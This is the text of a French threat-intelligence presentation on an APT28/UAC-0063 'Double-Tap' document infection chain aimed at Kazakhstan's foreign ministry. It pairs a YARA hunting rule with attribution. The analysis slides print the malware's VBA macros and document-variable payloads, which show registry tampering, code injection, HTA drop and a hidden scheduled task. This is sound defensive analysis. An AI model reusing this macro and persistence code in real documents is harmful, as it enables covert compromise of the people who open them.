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La cueillette ou la veille CTI



5

La veille spécialisée en CTI
Identifier et suivre les bonnes sources

● Travail de capitalisation

● Modélisation format STIX

● Vérification et contextualisation

● Création de nos règles de détection 

(YARA, Trackers C2)
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Règles YARA sur les malwares décrits
La pose de collets …



LE COLLET SE REFERME #Chasseur
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La chaîne d’infection Double-Tap et ses spécificités
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La chaîne d’infection Double-Tap
Hunting des documents

rule apt_susp_APT28_UAC0063_Malicious_Doc : {

meta:

intrusion_set = "UAC-0063"

description = "Detects some suspected APT28 document settings.xml"

source = "Sekoia.io"

notification = "kktiy7oct7gtdr69ucs5n1896h"

creation_date = "2024-07-25"

strings:

$ = "Sub pop() : : End Sub" ascii fullword nocase

$ = "ergegdr" ascii fullword nocase

$ = "%localappdata%\\Temp" ascii fullword nocase

$ = "sub document_open()" ascii fullword nocase

condition:

2 of them and filesize < 1MB

and vt.metadata.new_file

}
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La chaîne d’infection Double-Tap
Hunting des documents
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2 of them and filesize < 1MB

and vt.metadata.new_file

}
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La chaîne d’infection Double-Tap
Hunting des documents

Rem Attribute VBA_ModuleType=VBADocumentModule

Option VBASupport 1

Public objApp, wsl

Function danger()

danger = ActiveDocument.Variables.Item("s2")

End Function

Function kokokokoko(namedoc)

Set doc2 = objApp.Documents.Open(namedoc)

doc2.Save

doc2.Close

End Function

Sub verydanger()

strng = "WSc" & "ript.She"

strng = strng & "ll"

Set wsl = CreateObject(strng)

wsl.RegWrite "HK" & "CU\Softw" & "are\Micr" & "osoft\Of" & 

"fice\" & Application.Version & "\Wo" & "rd\Sec" & "urity\Acce" & 

"ssVBO" & "M", 1, "REG_D" & "WORD"

End Sub

Sub documeNt_opEn()

On Error Resume Next

ActiveDocument.Unprotect ("oikmseM#*inmowefj8349an3")

For i = ActiveDocument.Shapes.Count To [...]

ActiveDocument.Shapes(i).Delete

Next i

[...]

If Now() - sss < TimeValue("00:00:15") Then Exit Sub

verydanger

[...]

doc.Variables.Add vars.Name & "ergegdr", vars

i = i + 1

Next

doc.VBProject.VBComponents("ThisDocument").CodeModule.AddFromStr

ing "Sub goods() : : End Sub" & vbCrLf & "Sub baads() : : End 

Sub" & vbCrLf & danger()

tmp = wsl.ExpandEnvironmentStrings("%localapp" & "data%\T" & 

"emp") & "\" & ActiveDocument.Name & ".doc"

doc.SaveAs2 tmp, 13

doc.Close

kokokokoko (tmp)

End Sub
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La chaîne d’infection Double-Tap
Hunting des documents
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La chaîne d’infection Double-Tap
Analyse de la chaîne d’infection

?

Sub documeNt_opEn()

On Error Resume Next

ActiveDocument.Unprotect ("oikmseM#*inmowefj8349an3")

For i = ActiveDocument.Shapes.Count To [...]

ActiveDocument.Shapes(i).Delete

Next i

[...]

If Now() - sss < TimeValue("00:00:15") Then Exit Sub

verydanger

[...]

doc.Variables.Add vars.Name & "ergegdr", vars

i = i + 1

Next

doc.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString 

"Sub goods() : : End Sub" & vbCrLf & "Sub baads() : : End Sub" & vbCrLf 

& danger()

tmp = wsl.ExpandEnvironmentStrings("%localapp" & "data%\T" & "emp") 

& "\" & ActiveDocument.Name & ".doc"

doc.SaveAs2 tmp, 13

doc.Close

kokokokoko (tmp)

End Sub

Rem Attribute VBA_ModuleType=VBADocumentModule

Option VBASupport 1

Public objApp, wsl

Function danger()

danger = ActiveDocument.Variables.Item("s2")

End Function

Function kokokokoko(namedoc)

Set doc2 = objApp.Documents.Open(namedoc)

doc2.Save

doc2.Close

End Function

Sub verydanger()

strng = "WSc" & "ript.She"

strng = strng & "ll"

Set wsl = CreateObject(strng)

wsl.RegWrite "HK" & "CU\Softw" & "are\Micr" & "osoft\Of" & 

"fice\" & Application.Version & "\Wo" & "rd\Sec" & "urity\Acce" & "ssVBO"

& "M", 1, "REG_D" & "WORD"

End Sub
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La chaîne d’infection Double-Tap
Analyse de la chaîne d’infection
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La chaîne d’infection Double-Tap
Analyse de la chaîne d’infection
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La chaîne d’infection Double-Tap
Analyse de la chaîne d’infection

?

● Déprotège le document actif, supprime les formes
ActiveDocument.Unprotect ("oikmseM#*inmowefj8349an3")

● Modifie une clé registre Windows

HKEY_CURRENT_USER\Software\Microsoft\Office\<Version>\Word\Security\AccessVBOM



16

La chaîne d’infection Double-Tap
Analyse de la chaîne d’infection

?

● Crée une instance invisible de Microsoft Word
Set objApp = CreateObject("Word.Application")

objApp.Visible = False

dans %LOCALAPPDATA%\Temp\[NOM DU DOC].doc

● Copie les variables
For Each vars In ActiveDocument.Variables

doc.Variables.Add vars.Name & "ergegdr", vars

doc.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString "Sub 

goods() : : End Sub" & vbCrLf & "Sub baads() : : End Sub" & vbCrLf & 

danger()
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La chaîne d’infection Double-Tap
Analyse de la chaîne d’infection

<w:docVars>

<w:docVar w:name="1000YFENpaWIyg" w:val="3c484541443e3c4854413a4150504c49434154494f4e2049443d226d61746368706f77657222204150504c49434154494f4e"/>

[...]

<w:docVar w:name="1007vGoKR0SyXh" w:val="5273572d6e3a5750522b5a21547e202b5a21544023402677457831596247782c596e3a616034624023402672097e324d4457"/>

<w:docVar w:name="block1" w:val="Sub goods() : On Error Resume Next : Set fso = CreateObject("Scripting.FileSystemObject") : appdir = 

CreateObject("WScript.Shell").ExpandEnvironmentStrings("%LOCALAPPDATA%") & "\Lookup" : fso.CreateFolder (appdir) : Set OutPutFile = 

fso.CreateTextFile(appdir & "\Dispatch", True) : For j = 1 To Documents(1).Variables.Count-3 : vars = Documents(1).Variables(j) : For i = 1 To 

Len(vars) : OutPutFile.Write Chr("&H" & Mid(vars, i, 2)) : i = i + 1 : Next : Next : OutPutFile.Close : End sub"/>

<w:docVar w:name="block2" w:val="Sub baads() : On Error Resume Next : Set svc = CreateObject("Schedule.Service") : Call svc.Connect : Set td = 

svc.NewTask(0) : Set sets = td.settings : sets.Enabled = True : sets.Hidden = True : Set tr = td.triggers.Create(1) : tr.StartBoundary = 

Year(Now) & "-" & Right("0" & Month(Now), 2) & "-" & Right("0" & Day(Now), 2) & "T" & Right("0" & Hour(Now), 2) & ":" & Right("0" & Minute(Now), 

2) & ":" & Right("0" & Second(Now), 2) : tr.Enabled = True : tr.Repetition.Interval = "PT4M" : Set act = td.Actions.Create(0) : act.Path = 

"C:\Windows\System32\mshta.exe" : act.Arguments = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%LOCALAPPDATA%") & "\Lookup\Dispatch": 

Call svc.GetFolder("\").RegisterTaskDefinition("Lookup\Dispatch", td, 6, , , 3) : End Sub"/>

<w:docVar w:name="s2" w:val="Sub docUment_oPen() : : : ActiveDocument.VBProject.VBComponents(1).CodeModule.AddFromString 

activedocument.variables.item("block1ergegdr"): : ActiveDocument.VBProject.VBComponents(1).CodeModule.AddFromString 

activedocument.variables.item("block2ergegdr") : : goods : baads : Me.Close :End Sub"/>

</w:docVars>

?
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La chaîne d’infection Double-Tap
Analyse de la chaîne d’infection

?

● Crée un fichier HTA
dans %LOCALAPPDATA%\Lookup\Dispatch

For i = 1 To Len(vars)

OutPutFile.Write Chr("&H" & Mid(vars, i, 2))

i = i + 1

Next

● Crée une tâche planifié : mshta.exe + HTA
Toutes les 4mn
Call svc.GetFolder("\").RegisterTaskDefinition("Lookup\Dispatch", td, 6, , , 3)
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La chaîne d’infection Double-Tap
Analyse de la chaîne d’infection

?

<HEAD>

<HTA:APPLICATION

ID="matchpower"

APPLICATIONNAME="matchpower"

WINDOWSTATE="minimize"

MAXIMIZEBUTTON="no"

MINIMIZEBUTTON="no"

CAPTION="no"

SHOWINTASKBAR="no"

BORDER="none"

SINGLEINSTANCE="yes"

>

</HEAD>

<span id=lookupspan>loading...</span>

<script Language="VBScript.Encode" defer>

#@~^NAwAAA==6   P3MDKDP"+k;:�PH+XY@#@&Skx9GhcD+kr"+:W,!S!@#@&Sk

[...]

PkOD@#@&5K0CAA==^#~@

</script>
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La chaîne d’infection Double-Tap
Analyse de la chaîne d’infection

?

● Masque sa fenêtre
window.resizeTo 0,0

window.moveTo -2000,-2000

● Déchiffre son code
text = temp("194 [...] 538")

a = a & Chr("&H" & Mid(h,i,2))

str = str & Chr(Asc(Mid(text,j+1,1)) Xor Asc(Mid("w8 [...] OO",(j Mod Len("w8 [...] OO")+1),1)))
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La chaîne d’infection Double-Tap
Analyse de la chaîne d’infection

?
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La chaîne d’infection Double-Tap
Analyse de la chaîne d’infection

?
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La chaîne d’infection Double-Tap
Analyse de la chaîne d’infection

?
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La chaîne d’infection Double-Tap
Analyse de la chaîne d’infection : Zebrocy

?

● Technique de document Double-Tap 

● C2 utilisant un backend PHP

● Clé de registre Windows modifiée

● Création de tâches planifiées



LE TABLEAU DE CHASSE
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Analyse des documents leurres
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Analyse des documents leurres
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Analyse des documents leurres
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Analyse des documents leurres
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Analyse des documents leurres
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Les documents appartiennent ou sont issus du Ministère des Affaires Étrangères de la 
République du Kazakhstan

Notes 

diplomatiques 

d’ambassades du 

Kazakhstan
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Notes 

diplomatiques et 

compte-rendus 

de rencontres 

internationales

Les documents appartiennent ou sont issus du Ministère des Affaires Étrangères de la 
République du Kazakhstan
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Les documents appartiennent ou sont issus du Ministère des Affaires Étrangères de la 
République du Kazakhstan

Documents de 

travail interne
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Les documents appartiennent ou sont issus du Ministère des Affaires Étrangères de la 
République du Kazakhstan

Autres 

documents de 

travail
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Les documents appartiennent ou sont issus du Ministère des Affaires Étrangères de la 
République du Kazakhstan

Documentation 

interne à 

destination du 

personnel 

diplomatique
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Eléments de contexte géopolitique Asie centrale / Kazakhstan

Pourquoi le Kazakhstan serait-il une cible 
du renseignement Russe ?

Le Kazakhstan n’a pas soutenu 
l’agression Russe de l’Ukraine

Astana cherche à diversifier ses 
partenaires économiques (UE, Chine, 
Asie centrale)

Zone d’influence historique de la Russie

Contrebalancer l’influence d’autres 
puissance dans la zone
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Et donc, quelle attribution ?

UAC- 0 0 6 3 ?

Victimologie
Asie centrale
Kazakhstan
Relations internationales
Coopération économique
Spatial, énergie

Principe du 
DoubleTap
Technique de Double-Tap
Clé de registre Windows 
modifiée
Création de tâches 
planifiées
C2 utilisant un backend PHP

Similarité avec 
Zebrocy
Sous cluster d’APT28
Ciblage Asie Centrale
Période d’activité 2015 -2020

Attribution d’autres 
acteurs
CERT-UA
BitDefender
Secret source
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Conclusion
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Conclusion

24 citations

“The Ministry of Digital Development will conduct an unscheduled inspection of the Ministry of Foreign Affairs following reports 
on a cyber attack”
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